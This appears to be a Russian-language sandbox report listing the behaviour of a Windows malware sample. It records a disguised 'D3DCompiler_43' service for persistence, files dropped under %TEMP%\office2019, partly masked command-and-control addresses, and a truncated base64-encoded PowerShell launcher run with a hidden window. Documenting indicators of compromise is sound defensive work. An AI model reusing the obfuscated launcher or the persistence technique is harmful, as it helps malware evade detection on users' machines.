Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\D3DCompiler_43] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\D3DCompiler_43] 'ImagePath' = '"%WINDIR%\SysWOW64\ir41_qc\D3DCompiler_43.exe"'
- 'D3DCompiler_43' "%WINDIR%\SysWOW64\ir41_qc\D3DCompiler_43.exe"
- 'D3DCompiler_43' %WINDIR%\SysWOW64\ir41_qc\D3DCompiler_43.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAG4AeQB3AHIAeQBhAD0AKAAnAEIAbwAnACsAJwBsADEANQBnACcAKwAnAGUAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AG...
- %TEMP%\office2019\ijbtr_.exe
- %WINDIR%\syswow64\ir41_qc\d3dcompiler_43.exe
- %TEMP%\office2019\ijbtr_.exe в %WINDIR%\syswow64\ir41_qc\d3dcompiler_43.exe
- '17#.#4.215.84':80
- '85.##.207.108':8080
- http://gu###hr24.de/2015-11-09/arnf/
- http://85.##.207.108:8080/q1gLBy9we/wgU9Tqr7Hk/2GqY3/j4z44WgxQVs9NHD/ via 85.##.207.108
- DNS ASK gu###hr24.de
- '%TEMP%\office2019\ijbtr_.exe'
- '%WINDIR%\syswow64\ir41_qc\d3dcompiler_43.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAG4AeQB3AHIAeQBhAD0AKAAnAEIAbwAnACsAJwBsADEANQBnACcAKwAnAGUAJwApADsAJgAoACcAbgAnACsAJwBlAHcALQBpACcAKwAnAHQAZQBtACcAKQAgACQARQBOAHYAOgBUAEUAbQBwAFwATwBmAGYAaQBDAEUAMgAwADEAOQAgAC0AaQB0AG...' (со скрытым окном)